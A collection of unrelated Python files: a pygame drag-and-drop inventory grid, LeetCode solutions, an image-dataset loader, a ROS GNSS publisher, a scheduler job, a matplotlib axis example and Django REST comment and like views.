            self.profile_stats["XP To Next Level"] = self.calculate_xp_for_next_level()
            msg += f"You have levelled up!\n"
            self.update_stats()

        return msg

    def get_stats(self):
        return self.profile_stats["Stats"]

    def __repr__(self):
        msg = ""
        for key in self.profile_stats.keys():
            if not key in ("_id", "Stats"):
                if key == "Inventory":
                    for item in self.profile_stats[key]:
                        msg += f"{item['type']} : **{item['name']}\n**"
                    continue
                msg += f"{key} : **{self.profile_stats[key]}**\n"
        return msg


import random, copy, sys, pygame
from pygame.locals import *
from random import randint
pygame.init()
pygame.display.set_caption('Primary Diablo 2 Gameplay')
BOARDWIDTH = 10  # how many spaces wide the board is
BOARDHEIGHT = 6 # how many spaces tall the board is
WINDOWWIDTH = 800 # width of the program's window, in pixels
WINDOWHEIGHT = 800 # height in pixels

DISPLAYSURF = pygame.display.set_mode((WINDOWWIDTH, WINDOWHEIGHT))

FPS = 60 # frames per second to update the screen
global SPACESIZE
SPACESIZE = 56 # size of the tokens and individual board spaces in pixels
global XMARGIN
XMARGIN = int((WINDOWWIDTH - BOARDWIDTH * SPACESIZE) / 2)
global YMARGIN
YMARGIN = int((WINDOWHEIGHT - BOARDHEIGHT * SPACESIZE) / 2)

XRightSide = WINDOWWIDTH - XMARGIN
YBottomSide = WINDOWHEIGHT - YMARGIN
WHITE = (255, 255, 255)
BGCOLOR = (70,70,70)

listception = []
for x in range(BOARDWIDTH):
        listception.append([])
        for y in range(BOARDHEIGHT):
                listception[x].append([randint(0,0),randint(0,150),randint(200,255)])
                # if listception[x]>0 and listception[x-1][y][1] < listception[x][y][1] :
                #         if listception[x][y][1] - (listception[x-1][y][1]) > 6:
                #                 listception[x][y][1] +=6
                #                 if listception[x][y][1] > 150:
                #                         listception[x][y][1] = listception[x][y][1] -150

REDTOKENIMG = pygame.image.load('4row_red.png')
REDTOKENIMG = pygame.transform.smoothscale(REDTOKENIMG, (SPACESIZE, SPACESIZE))
SwordPic = pygame.image.load('Sword.gif').convert_alpha()
SwordPic = pygame.transform.scale2x(SwordPic)
SwordPic = pygame.transform.smoothscale(SwordPic, (SPACESIZE, SPACESIZE* 3))

TopazPic = pygame.image.load('Topaz.gif').convert_alpha()
TopazPic = pygame.transform.scale2x(TopazPic)
TopazPic = pygame.transform.smoothscale(TopazPic, (SPACESIZE, SPACESIZE))

BookPic = pygame.image.load('book.gif').convert_alpha()
BookPic = pygame.transform.scale2x(BookPic)
BookPic = pygame.transform.smoothscale(BookPic, (SPACESIZE, SPACESIZE*2))

ShieldPic = pygame.image.load('stormGuild.gif').convert_alpha()
ShieldPic = pygame.transform.scale2x(ShieldPic)
ShieldPic = pygame.transform.smoothscale(ShieldPic, (SPACESIZE*2, SPACESIZE*3))

SpikedPic = pygame.image.load('SpikedShield.gif').convert_alpha()
SpikedPic = pygame.transform.scale2x(SpikedPic)
SpikedPic = pygame.transform.smoothscale(SpikedPic, (SPACESIZE*2, SPACESIZE*3))

AerinPic = pygame.image.load('AerinShield.gif').convert_alpha()
AerinPic = pygame.transform.scale2x(AerinPic)
AerinPic = pygame.transform.smoothscale(AerinPic, (SPACESIZE*2, SPACESIZE*4))

SabrePic = pygame.image.load('LightSabre.gif').convert_alpha()
SabrePic = pygame.transform.scale2x(SabrePic)
SabrePic = pygame.transform.smoothscale(SabrePic, (SPACESIZE*2, SPACESIZE*3))

RunePic = pygame.image.load('OhmRune.png').convert_alpha()
RunePic = pygame.transform.scale2x(RunePic)
RunePic = pygame.transform.smoothscale(RunePic, (SPACESIZE*1, SPACESIZE*1))

OrbPic = pygame.image.load('Orb.gif').convert_alpha()
OrbPic = pygame.transform.scale2x(OrbPic)
OrbPic = pygame.transform.smoothscale(OrbPic, (SPACESIZE*1, SPACESIZE*3))

SteelPic = pygame.image.load('SteelArmor.gif').convert_alpha()
SteelPic = pygame.transform.scale2x(SteelPic)
SteelPic = pygame.transform.smoothscale(SteelPic, (SPACESIZE*2, SPACESIZE*3))

VictorPic = pygame.image.load('VictorArmor.gif').convert_alpha()
VictorPic = pygame.transform.scale2x(VictorPic)
VictorPic = pygame.transform.smoothscale(VictorPic, (SPACESIZE*2, SPACESIZE*3))

JavelinPic = pygame.image.load('Javelin.gif').convert_alpha()
JavelinPic = pygame.transform.scale2x(JavelinPic)
JavelinPic = pygame.transform.smoothscale(JavelinPic, (SPACESIZE*1, SPACESIZE*4))

s1x1 = [[0,0]]
s1x2 = [[0,0],[0,1]]
s1x3 = [[0,0],[0,1],[0,2]]
s1x4 = [[0,0],[0,1],[0,2],[0,3]]
s2x2 = [[0,0],[0,1],[1,1],[1,0]]
s2x3 = [[0,0],[0,1],[0,2],[1,0],[1,1],[1,2]]
s2x4 = [[0,0],[0,1],[0,2],[0,3],[1,0],[1,1],[1,2],[1,3]]

itemList = [[s1x1,TopazPic],[s1x2,BookPic],[s1x3,SwordPic],[s2x3,ShieldPic],[s2x3,SpikedPic]\
,[s2x4,AerinPic],[s2x3,SabrePic],[s1x1,RunePic],[s1x3,OrbPic],[s2x3,SteelPic],[s2x3,VictorPic],[s1x4,JavelinPic]]

nameList = ['TopazPic','BookPic','SwordPic','ShieldPic','SpikedPic','AerinPic','SabrePic','RunePic','OrbPic','SteelPic','VictorPic','JavelinPic']
picList = [TopazPic,BookPic,SwordPic,ShieldPic,SpikedPic,AerinPic,SabrePic,RunePic,OrbPic,SteelPic,VictorPic,JavelinPic]

global testList
testList = [[2,6],[0,5],[0,2],[0,3]]

objectList = []
boardList   = [[]] * BOARDWIDTH

NewItem = False

for x in range(BOARDWIDTH):
    boardList[x] = [0]* BOARDHEIGHT

class Object():
    def __init__(self):

        global XMARGIN
        global YMARGIN
        global SPACESIZE
        global testList
        self.SpotList = []
        self.Map = []
        self.doOnce = True

    def func(self,xf,yf,XOffset,YOffset,boardList,mapList,Pic,ItemIndex):

        if self.doOnce:
            self.SpotList = copy.copy(boardList)
            #                   |
            #                   | this F'er
            #                   V
            self.Map = copy.copy(mapList)

            self.doOnce = False
        self.Index = ItemIndex
        self.Pic = Pic
        self.column = int((xf - XOffset - (XMARGIN)) / SPACESIZE)
        self.row    = int((yf - YOffset - (YMARGIN)) / SPACESIZE)

        self.posX = (self.column * SPACESIZE) + XMARGIN
        self.posY = (self.row    * SPACESIZE) + YMARGIN

def main():
    CurrentItem = 0
    NewItem = False
    xh = 0
    yh = 0

    while True:

        xp, yp = pygame.mouse.get_pos()

        for event in pygame.event.get():
            if event.type == QUIT:
                pygame.quit()
                sys.exit()
            if event.type == MOUSEBUTTONDOWN and event.button == 3:
                #print objectList
                if NewItem == True:
                    NewItem = False
                else:
                    NewItem = True

            if ((xp > XMARGIN) and (xp < (WINDOWWIDTH-XMARGIN))) and ((yp > YMARGIN) and (yp < (WINDOWHEIGHT-YMARGIN))):

                if event.type == MOUSEBUTTONDOWN and (event.button == 4 or event.button == 5):
                    NewItem = True
                    if CurrentItem == len(itemList)-1:
                        CurrentItem = 0
                    else:
                        CurrentItem += 1
                    xh, yh = hoverPlace(CurrentItem)
                    XSelect = ((xh * 2) - SPACESIZE)/2
                    YSelect = ((yh * 2) - SPACESIZE)/2

                if event.type == MOUSEBUTTONDOWN and event.button == 1:
                    Occupied = False
                    ObjectSwitch = True
                    ObjectInSpot = 0

                    if NewItem:
                        currentList = copy.deepcopy(itemList[CurrentItem][0])
                        objectList.append(Object())
                        objectList[-1].func(xp,yp,XSelect,YSelect,copy.deepcopy(itemList[CurrentItem][0]), currentList, itemList[CurrentItem][1],CurrentItem)
                        Obj = objectList[-1]

                        for spot in Obj.SpotList:
                            SpotX = (spot[0] + Obj.column)
                            SpotY = (spot[1] + Obj.row)

                            if (SpotX > -1 and SpotX < BOARDWIDTH) and (SpotY > -1 and SpotY < BOARDHEIGHT):

                                if boardList[SpotX][SpotY] != 0:
                                    Occupied = True

                                if ObjectInSpot == 0:
                                    ObjectInSpot = boardList[SpotX][SpotY]

                                if ((ObjectInSpot != boardList[SpotX][SpotY]) and (ObjectInSpot != 0)) and boardList[SpotX][SpotY] != 0:
                                    ObjectSwitch = False
                                    Occupied = True
                                    #print "NEIN!"

                                #print ObjectInSpot

                                # if ObjectInSpot == boardList[SpotX][SpotY] and ObjectInSpot != 0:
                                #     ObjectSwitch = True

                                # if ObjectInSpot == 0:
                                #     ObjectSwitch = False

                            else:
                                Occupied = True
                                ObjectSwitch = False
                                #print "NIEMALS!"

                        #Placing New Object
                        if Occupied == False:
                            count = 0
                            for spot in Obj.SpotList:
                                SpotX = (spot[0] + Obj.column)
                                SpotY = (spot[1] + Obj.row)

                                boardList[SpotX][SpotY] = Obj

                                Obj.Map[count][0] = SpotX
                                Obj.Map[count][1] = SpotY

                                count += 1
                                NewItem = False

                        else:
                            del objectList[-1]

                    #Picking Up Object
                    elif NewItem == False:
                        column = (int)((xp - XMARGIN)/SPACESIZE)
                        row    = (int)((yp - YMARGIN)/SPACESIZE)

                        Map = boardList[column][row].Map
                        for spot in Map:
                            ExiledObject = boardList[spot[0]][spot[1]]
                            boardList[spot[0]][spot[1]] = 0

                        ExiledIndex = objectList.index(ExiledObject)
                        NewItem = True
                        CurrentItem = ExiledObject.Index
                        del objectList[ExiledIndex]

                    #Switching Objects
                    if Occupied == True and ObjectSwitch == True:
                        for spot in Obj.SpotList:
                            SpotX = (spot[0] + Obj.column)
                            SpotY = (spot[1] + Obj.row)
                            if boardList[SpotX][SpotY] != 0:
                                Map = boardList[SpotX][SpotY].Map

                        column = (xp - XMARGIN) / SPACESIZE
                        row = (yp - YMARGIN) / SPACESIZE

                        for spot in Map:
                            ExiledObject = boardList[spot[0]][spot[1]]
                            boardList[spot[0]][spot[1]] = 0

                        ExiledIndex = objectList.index(ExiledObject)

                        CurrentItemTemp = ExiledObject.Index
                        del objectList[ExiledIndex]

                        objectList.append(Object())
                        objectList[-1].func(xp, yp, XSelect, YSelect, copy.deepcopy(itemList[CurrentItem][0]),currentList, itemList[CurrentItem][1], CurrentItem)
                        Obj = objectList[-1]

                        count = 0
                        for spot in Obj.SpotList:
                            SpotX = (spot[0] + Obj.column)
                            SpotY = (spot[1] + Obj.row)

                            boardList[SpotX][SpotY] = Obj

                            Obj.Map[count][0] = SpotX
                            Obj.Map[count][1] = SpotY

                            count += 1

                        #currentList = copy.deepcopy(itemList[CurrentItem][0])

                        CurrentItem = CurrentItemTemp

                        NewItem = True

        DISPLAYSURF.fill(BGCOLOR)
        for xb in range(BOARDWIDTH):
            for yb in range(BOARDHEIGHT):
                pygame.draw.rect(DISPLAYSURF, listception[xb][yb],(XMARGIN + (xb * SPACESIZE), YMARGIN + (yb * SPACESIZE), SPACESIZE, SPACESIZE))
        if len(objectList) > 0:
            for obj in objectList:
                DISPLAYSURF.blit(obj.Pic, (obj.posX, obj.posY))

        #xh, yh = hoverPlace(CurrentItem)
        if NewItem == True:
            DISPLAYSURF.blit(itemList[CurrentItem][1], (xp -xh, yp -yh))

        pygame.display.update()

def hoverPlace(CurrentItem):

    Rect = pygame.Surface.get_rect(itemList[CurrentItem][1])
    xh = Rect[2]
    yh = Rect[3]

    return xh / 2, yh / 2

main()


# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, val=0, next=None):
#         self.val = val
#         self.next = next
# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, val=0, left=None, right=None):
#         self.val = val
#         self.left = left
#         self.right = right
class Solution:
    lst = []
    def convertToList(self, head):
        lst = []

        while(head != None):
            lst.append(head.val)
            head = head.next

        return lst

    def fillTree(self, i, j):
        global lst
        if i > j:
            return None
        mid = (i+j)//2
        root = TreeNode(lst[mid])
        root.left = self.fillTree(i, mid-1)
        root.right = self.fillTree(mid+1, j)

        return root

    def sortedListToBST(self, head: Optional[ListNode]) -> Optional[TreeNode]:
        global lst
        lst = self.convertToList(head)
        root = self.fillTree(0, len(lst)-1)
        return root


import os
import sys
import gzip
import copy
import csv
if sys.version[0] == "2":
    import cPickle as pckl
elif sys.version[0] == "3":
    import pickle as pckl
import numpy as np
import scipy
from scipy import ndimage
import scipy.misc
import matplotlib.pyplot as plt

from keras import backend as K
from keras.utils import to_categorical
from keras.datasets.cifar import load_batch

# Here, source files / folders must be specified accordingly.
cifar10_folder = "/.../cifar-10-batches-py/"
mnist_file = "/.../mnist.pkl.gz"
gtsrb_folder = "/.../GTSRB_Final_Training_Images/GTSRB/Final_Training/Images/"

class Stdataset(object):
    """A class to provide access to used datasets.

    The main variables of this class are:

    self.res :: int
        The image resolution for x and y (e.g. 32 for CIFAR10 or 28 for MNIST).
    self.channels :: int
        The number of image channels (e.g. 3 for CIFAR10 or 1 for MNIST).
    self.classes :: int
        The number of classes (e.g. 10 for CIFAR10 or 43 for GTSRB).
    self.DATAX :: dictionary
        Dictionary of datasets 'train', 'valid', and 'test'. Each item
        contains a 4D tensor: [samples, res, res, channels] for MNIST and CIFAR10.
        For GTSRB entire tracks of 30 images are stored in each sample:
            [tracks, res, res, channels * 30]
    self.DATAY :: dictionary
        Dictionary of ground-truth labels 'train', 'valid', and 'test'. Each item
        contains a 2D tensor of one-hot encoded class labels:
            [samples / tracks, classes]

    Parameter:
    ----------
    dataset :: string
        Specifies the used dataset: 'mnist', 'cifar10', 'gtsrb'
    """
    def __init__(self, dataset):
        self.dataset = dataset

        # Load and store dataset.
        # ====================================================================
        if dataset == "cifar10":
        # ====================================================================
            self.res = 32
            self.channels = 3
            self.classes = 10
            # Load images from file.
            num_train_samples = 50000
            x = {}
            y = {}
            self.DATAX = {}
            self.DATAY = {}
            x["train"] = np.empty((num_train_samples, 3, 32, 32), dtype='uint8')
            y["train"] = np.empty((num_train_samples,), dtype='uint8')
            for i in range(1, 6):
                fpath = os.path.join(cifar10_folder, 'data_batch_' + str(i))
                (x["train"][(i - 1) * 10000: i * 10000, :, :, :], y["train"][(i - 1) * 10000: i * 10000]) = load_batch(fpath)
            # Load also the test images.
            fpath = os.path.join(cifar10_folder, 'test_batch')
            x["test"], y["test"] = load_batch(fpath)
            y["train"] = np.reshape(y["train"], (len(y["train"]), 1))
            y["test"] = np.reshape(y["test"], (len(y["test"]), 1))
            # Resort data dimensions.
            if K.image_data_format() == 'channels_last':
                x["train"] = x["train"].transpose(0, 2, 3, 1)
                x["test"] = x["test"].transpose(0, 2, 3, 1)
            # Permute training images to extract validation.
            p = np.random.permutation(range(x["train"].shape[0]))
            x["train"] = x["train"][p]
            y["train"] = y["train"][p]
            # Split training data in train / valid.
            valid_size = x["train"].shape[0] // 5
            x["valid"] = x["train"][0:valid_size]
            y["valid"] = y["train"][0:valid_size]
            x["train"] = x["train"][valid_size:-1]
            y["train"] = y["train"][valid_size:-1]
            # Convert / normalize images.
            for t in ["train", "valid", "test"]:
                x[t] = x[t].astype('float32')
                self.DATAX[t] = x[t] / 255
                # Convert class vectors to binary class matrices.
                self.DATAY[t] = to_categorical(y[t], self.classes)

        # ====================================================================
        elif dataset == "mnist":
        # ====================================================================
            self.res = 28
            self.channels = 1
            self.classes = 10
            self.DATAY = {}
            self.DATAX = {}
            # Load dataset from file.
            DATA = {}
            f = gzip.open(mnist_file, "rb")
            if sys.version[0] == "2":
                DATA["train"], DATA["valid"], DATA["test"] = pckl.load(f)
            elif sys.version[0] == "3":
                DATA["train"], DATA["valid"], DATA["test"] = pckl.load(f, encoding="latin1")
            f.close()
            # Convert to standardized format.
            for a in ["train", "valid", "test"]:
                samples = DATA[a][1].shape[0]
                self.DATAX[a] = np.reshape(DATA[a][0], [samples, self.res, self.res])
                self.DATAX[a] = self.DATAX[a].astype("float32")
                self.DATAX[a] = self.DATAX[a][:,:,:,np.newaxis]
                self.DATAY[a] = to_categorical(DATA[a][1], self.classes)

        # ====================================================================
        elif dataset == "gtsrb":
        # ====================================================================
            print("Preparing GTSRB dataset ...")
            self.res = 32
            self.channels = 3
            self.classes = 43
            self.DATAX = {}
            self.DATAY = {}
            # Extract dataset from files.
            images = [] # list of all images
            labels = [] # corresponding labels
            # Loop over all 43 classes and load files.
            for c in range(0, 43):
                prefix = gtsrb_folder + '/' + format(c, '05d') + '/' # subdirectory for class
                gtFile = open(prefix + 'GT-'+ format(c, '05d') + '.csv') # annotations file
                gtReader = csv.reader(gtFile, delimiter=';') # csv parser for annotations file
                # Loop over all images in current annotations file
                for row_idx, row in enumerate(gtReader):
                    if row_idx != 0:
                        images.append(plt.imread(prefix + row[0])) # the 1th column is the filename
                        labels.append(row[7]) # the 8th column is the label
                gtFile.close()
            # Determine number of tracks for single datasets.
            tracks = len(images) // 30
            num_tracks = {
                "test": tracks // 10,
                "valid": tracks // 10,
                "train": 0
            }
            num_tracks["train"] = tracks - num_tracks["valid"] - num_tracks["test"]
            # Generate overall dataset in DATAX, DATAY.
            # We use the tracks as temporal input sequences.
            # All samples in a track (30) are stored in the feature dimension.
            # Hence, the number of samples = number of tracks.
            DATAX = np.empty((tracks, self.res, self.res, 30 * 3))
            DATAY = np.empty((tracks,), dtype="uint8")
            for i in range(len(images)):
                images[i] = images[i].astype('float32')
                images[i] /= 255.0
            # Resize all images to same (res, res) size.
            for i in range(tracks):
                for f in range(30):
                    img_square = scipy.misc.imresize(images[f + i * 30], size=(self.res, self.res))
                    DATAX[i,:,:,f * 3:(f + 1) * 3] = img_square[:,:,:] / 255.0
                DATAY[i] = labels[i * 30]
            # Permute dataset (tracks, not single images) before split.
            # This is necessary, because tracks are ordered by classes.
            p = np.random.permutation(range(DATAX.shape[0]))
            DATAX = DATAX[p]
            DATAY = DATAY[p]
            # Split dataset into train / valid / test.
            self.DATAX["test"] = DATAX[0:num_tracks["test"],:,:,:]
            self.DATAY["test"] = to_categorical(DATAY[0:num_tracks["test"]], self.classes)
            self.DATAX["valid"] = DATAX[num_tracks["test"]:num_tracks["test"] + num_tracks["valid"],:,:,:]
            self.DATAY["valid"] = to_categorical(DATAY[num_tracks["test"]:num_tracks["test"] + num_tracks["valid"]], self.classes)
            self.DATAX["train"] = DATAX[num_tracks["test"] + num_tracks["valid"]:-1,:,:,:]
            self.DATAY["train"] = to_categorical(DATAY[num_tracks["test"] + num_tracks["valid"]:-1], self.classes)

        # Print some general information about dataset.
        print('Info for dataset: ' + self.dataset)
        print('    x/y_train shape: ' + str(self.DATAX["train"].shape) + "   " + str(self.DATAY["train"].shape))
        print('    valid samples  : ', self.DATAX["valid"].shape[0])
        print('    test samples   : ', self.DATAX["test"].shape[0])

    def shuffle(self):
        """Shuffle dataset and redraw 'train', 'valid', and 'test' data.
        """
        sets = ["train", "valid", "test"]
        # Get number of samples.
        samples = {}
        for t in sets:
            samples[t] = self.DATAX[t].shape[0]
        # Aggregate datasets.
        DATAX = np.concatenate([self.DATAX[t] for t in sets], axis=0)
        DATAY = np.concatenate([self.DATAY[t] for t in sets], axis=0)
        # Permutate data.
        p = np.random.permutation(range(DATAX.shape[0]))
        DATAX = DATAX[p]
        DATAY = DATAY[p]
        # Split dataset into train / valid / test.
        self.DATAX["test"] = DATAX[0:samples["test"],:,:,:]
        self.DATAY["test"] = DATAY[0:samples["test"]]
        self.DATAX["valid"] = DATAX[samples["test"]:samples["test"] + samples["valid"],:,:,:]
        self.DATAY["valid"] = DATAY[samples["test"]:samples["test"] + samples["valid"]]
        self.DATAX["train"] = DATAX[samples["test"] + samples["valid"]:-1,:,:,:]
        self.DATAY["train"] = DATAY[samples["test"] + samples["valid"]:-1]


class Solution:
    def detectCapitalUse(self, word: str) -> bool:

        flag = 0

        for ch in word:

            if(ch.isupper()):
                flag +=1

        if (flag == 0 or flag == len(word)) or (flag == 1 and word[0].isupper()):
            return True

        return (False)


#!/usr/bin/env python
"""
	Get the latitude and longitude from the GNSS and publish:
	1. latitude, longitude and altitude in sensor_msgs/NavSatFix
	2. relative postion to the initial point in ENU
	   in geometry_msgs/PoseWithCovarianceStamped.

	Note that now I do not have the access to the device and the program
	directly manipulates the GNSS API, I cannot test after modifying, so I
	will leave it in its rugged shape:)

"""

import rospy
import time
import numpy as np
from geometry_msgs.msg import PoseWithCovarianceStamped, Vector3
from sensor_msgs.msg import NavSatFix
from Phidget22.PhidgetException import *
from Phidget22.Phidget import *
from Phidget22.Devices.GPS import *

# Define the initial position and standard variance of measurement of the GNSS
# Unit: meter
DECI_DEGREE_TO_METER = 111320
INITIAL_LATITUDE = 59.40455
INITIAL_LONGITUDE = 17.94965
LATITUDE_STDEV = 5
LONGITUDE_STDEV = 5

# For warming up.
device_serial_number = 0
ENABLE_PUBLISH = 0
warming_time = 30
pub_frequency = 10
CONTROL_STDEV = 5
warming_queue = []

# ROS elements.
global_pose_pub = rospy.Publisher("fix", NavSatFix, queue_size=10)
local_pose_pub = rospy.Publisher("pose", PoseWithCovarianceStamped, queue_size=10)
global_hv_pub = rospy.Publisher("hv", Vector3, queue_size=10)

def onPositionChange(self, latitude, longitude, altitude):

	global INITIAL_LATITUDE
	global INITIAL_LONGITUDE
	global LATITUDE_STDEV
	global LONGITUDE_STDEV
	global DECI_DEGREE_TO_METER

	global device_serial_number
	global ENABLE_PUBLISH
	global warming_time
	global pub_frequency
	global CONTROL_STDEV
	global warming_queue

	fix = NavSatFix()
	fix.header.stamp = rospy.Time.now()
	fix.header.frame_id = "world"
	fix.latitude = latitude
	fix.longitude = longitude
	fix.altitude = altitude
	global_pose_pub.publish(fix)

	if (ENABLE_PUBLISH == 0):
		# Store in the warming_queue and compute
		queue_len = len(warming_queue)
		warming_queue.append((longitude, latitude))

		if (queue_len >= warming_time*pub_frequency):
			warming_queue.pop(0)

			long_sum = 0.0
			lati_sum = 0.0
			long_var = 0.0
			lati_var = 0.0

			for i in range(queue_len):
				long_sum += warming_queue[i][0]
				lati_sum += warming_queue[i][1]
				long_var += warming_queue[i][0]**2
				lati_var += warming_queue[i][1]**2
			# rospy.logdebug("Current longitude variance: [%f]", long_var )
			# rospy.logdebug("Current latitude variance: [%f]", lati_var )

			long_average = long_sum/queue_len
			lati_average = lati_sum/queue_len
			long_var = (long_var/queue_len - long_average**2)*DECI_DEGREE_TO_METER**2
			lati_var = (lati_var/queue_len - lati_average**2)*DECI_DEGREE_TO_METER**2

			rospy.logdebug("Current average longitude: [%.6f]", long_average )
			rospy.logdebug("Current average latitude: [%.6f]", lati_average )
			# rospy.logdebug("Current longitude variance: [%f]", long_var )
			# rospy.logdebug("Current latitude variance: [%f]", lati_var )
			# rospy.logdebug("Initial longitude stdev: [%f]", np.sqrt(long_var + lati_var)*DECI_DEGREE_TO_METER )

			if (np.sqrt(long_var + lati_var) < CONTROL_STDEV):
				ENABLE_PUBLISH = 1
				LONGITUDE_STDEV = np.sqrt(long_var)
				LATITUDE_STDEV = np.sqrt(lati_var)
				INITIAL_LONGITUDE = long_average
				INITIAL_LATITUDE = lati_average

				rospy.loginfo("GNSS [%s] stdev within control value.", device_serial_number )
				rospy.loginfo("Initial longitude: [%.6f]", long_average )
				rospy.loginfo("Initial latitude: [%.6f]", lati_average )
				rospy.loginfo("Initial longitude stdev: [%f]", LONGITUDE_STDEV )
				rospy.loginfo("Initial latitude stdev: [%f]", LATITUDE_STDEV )
			else:
				# rospy.logdebug("Current average longitude: [%f]", long_average )
				# rospy.logdebug("Current average latitude: [%f]", lati_average )
				rospy.logdebug("Current position stdev in meter: [%f]", np.sqrt(long_var + lati_var) )

	if(ENABLE_PUBLISH == 1):
		# Converting from decimal degree into meter and into the map frame.
		#############################################################
		# TODO: take in the orientation difference of map and north??
		#############################################################
		MOVE_X = (longitude - INITIAL_LONGITUDE)*DECI_DEGREE_TO_METER
		MOVE_Y = (latitude - INITIAL_LATITUDE)*DECI_DEGREE_TO_METER
		# MOVE_Z =
		pose = PoseWithCovarianceStamped()
		pose.header.stamp = rospy.Time.now()
		pose.header.frame_id = "map"
		pose.pose.pose.position.x = MOVE_X
		pose.pose.pose.position.y = MOVE_Y
		# When processing, double the covariance
		pose.pose.covariance[0] = LATITUDE_STDEV*2
		pose.pose.covariance[7] = LONGITUDE_STDEV*2
		local_pose_pub.publish(pose)

def onHeadingChange(self, heading, velocity):
	hv = Vector3()
	hv.x = heading
	hv.y = velocity
	global_hv_pub.publish(hv)

def onError(self, code, description):
	rospy.logerr("Code: %s", ErrorEventCode.getName(code))
	rospy.logerr("Description: %s", str(description))
	rospy.logerr("----------")

def gnss_pub_node():
	rospy.init_node("gnss_pub", anonymous=True,  log_level=rospy.DEBUG)

	# Fetch the parameters
	device_serial_number = rospy.get_param('~device_serial_number')
	warming_time = rospy.get_param('~warming_time')
	pub_frequency = rospy.get_param('~pub_frequency')
	CONTROL_STDEV = rospy.get_param('~control_stdev')

	time_sleep = 1.0/pub_frequency

	#Create Phidget channels
	gps0 = GPS()
	#Set addressing parameters to specify which channel to open
	gps0.setDeviceSerialNumber(device_serial_number)
	#Assign any event handlers you need before calling open so that no events are missed.
	gps0.setOnPositionChangeHandler(onPositionChange)
	gps0.setOnHeadingChangeHandler(onHeadingChange)
	# gps0.setOnAttachHandler(onAttach)
	# gps0.setOnDetachHandler(onDetach)
	gps0.setOnErrorHandler(onError)

	#Open your Phidgets and wait for attachment
	gps0.open()
	while not rospy.is_shutdown():
		# Wait for 1/f second.
		time.sleep(time_sleep)

	#Close your Phidgets once the program is done.
	# gps0.close()

if __name__ == '__main__':
	try:
		gnss_pub_node()
	except rospy.ROSInterruptException:
		pass


from apscheduler.schedulers.background import BackgroundScheduler
from schedule.constants import SCHEDULER_TIME
from service import operation_service, OperationService
import logging

class Schedule(object):
    def __init__(self):
        self.schedule = None

    def start_schedule(self) -> None:
        logging.info("------------ starting the schedule -----------")
        self.schedule = BackgroundScheduler(daemon=True)
        self.schedule.add_job(id='send_next_job', func=self._send_next_job_to_iot, trigger='interval',
                              kwargs={'service': operation_service}, seconds=SCHEDULER_TIME)
        self.schedule.start()

    def stop_schedule(self) -> None:
        if self.schedule:
            self.schedule.shutdown()
            logging.info("-------------- stopping the schedule ------------")

    @staticmethod
    def _send_next_job_to_iot(service: OperationService) -> None:
        logging.info("--------------- scheduler sending next job -------------")
        service.get_next_operation()


# https://morvanzhou.github.io/tutorials/data-manipulation/plt/2-4-axis2/
# https://github.com/MorvanZhou/tutorials/blob/master/matplotlibTUT/plt6_ax_setting2.py
import matplotlib.pyplot as plt
import numpy as np

x = np.linspace(-3, 3, 50)
y1 = 2*x+1
y2 = x**2

plt.figure(num=3, figsize=(8, 5)) # 以下是這張figure的數據
plt.plot(x, y2)
plt.plot(x, y1, color='red', linewidth=1.0, linestyle='--') # 設定個別參數

plt.xlim((-1, 2)) # x show limit range
plt.ylim((-2, 3)) # y show limit range
plt.xlabel('I am x') # show x name
plt.ylabel('I am y') # show y name

# show new ticks
new_ticks = np.linspace(-1, 2, 5)
plt.xticks(new_ticks) # 替換x座標的範圍文字
plt.yticks([-2, -1.8, -1, 1.22, 3], [r'$really\ good$', r'$bad\ \alpha$', r'$normal$', r'$good$', r'$really\ good$']) # 替換y座標的範圍文字, r是正則表達式, $是變好看的字體, \alpha是數學符號

# gca = 'get current axis' 把現在的軸拿出來
ax = plt.gca()
ax.spines['right'].set_color('none')
ax.spines['top'].set_color('none')

ax.xaxis.set_ticks_position('bottom') # 用哪個軸代替X軸
# ACCEPTS: [ 'top' | 'bottom' | 'both' | 'default' | 'none' ]
ax.spines['bottom'].set_position(('data', 0))
# the 1st is in 'outward' | 'axes' | 'data'
# axes: percentage of y axis
# data: depend on y data

ax.yaxis.set_ticks_position('left') # 用哪個軸代替Y軸
# ACCEPTS: [ 'left' | 'right' | 'both' | 'default' | 'none' ]
ax.spines['left'].set_position(('data',0))

plt.show()


from django.shortcuts import render
from .models import *
from rest_framework.generics import *
from rest_framework import mixins
from .serializers import CommentSerializer,LikeSerializer
from rest_framework.views import APIView
from rest_framework.response import Response
from rest_framework import status
from rest_framework.decorators import api_view
from rest_framework.exceptions import ValidationError

class All_Comment(ListCreateAPIView):

    queryset = Comment1.objects.all()
    serializer_class = CommentSerializer
    def perform_create(self, serializer):
        serializer.save(author1=self.request.user)

class CommentRetrieveDestroy(RetrieveDestroyAPIView):
    queryset = Comment1.objects.all()
    serializer_class = CommentSerializer

    def delete(self, request, *args, **kwargs):
        comment = Comment1.objects.filter(pk=kwargs['pk'],author1=self.request.user)
        if comment.exists():
            return self.destroy(request,*args,**kwargs)
        raise ValidationError('this comment not own you.')

class DeleteUpdateGet(APIView):

    def delete(self,request,pk):
        query = Comment1.objects.filter(pk=pk,author1=self.request.user)
        if query.exists():
            query.delete()
            return Response(status=status.HTTP_204_NO_CONTENT)
        raise ValidationError('not you comment')

@api_view(['POST'])
def sendlike(request,pk):
    user = request.user
    comment = Comment1.objects.get(pk=pk)
    query = Like1.objects.filter(liker1=user,comment1=comment)
    serializers = LikeSerializer(data=request.data)
    if serializers.is_valid():
        if query.exists():
            raise ValidationError('like past')
        serializers.save(liker=request.user,comment1=Comment1.objects.get(pk=pk))
        return Response(serializers.data,status=status.HTTP_200_OK)

class SendLike(CreateAPIView,mixins.DestroyModelMixin):
    serializer_class = LikeSerializer

    def get_queryset(self):
        user = self.request.user
        comment = Comment1.objects.get(pk=self.kwargs['pk'])
        return Like1.objects.filter(liker1=user,comment1=comment)

    def perform_create(self, serializer):
        if self.get_queryset().exists():
            raise ValidationError('you liked this comment in past')
        serializer.save(liker1=self.request.user,comment1=Comment1.objects.get(pk=self.kwargs['pk']))#ADD MOKNAD METHOD performe_create haman kar add kardan ra mikonad
    def delete(self,request,*args,**kwargs):
        like = Like1.objects.filter(liker1=request.user,comment1=Comment1.objects.get(pk=self.kwargs['pk']))
        if like.exists():
            like.delete()
        raise ValidationError('this is not your like')

class Posst(APIView):#input data in browsable_api json exampe {"text1":"something"} text1 field name in model.py
    def post(self,request):
        serializers = CommentSerializer(data=request.data)
        if serializers.is_valid():
            serializers.save(author1=self.request.user)
            return Response(serializers.data,status=status.HTTP_201_CREATED)

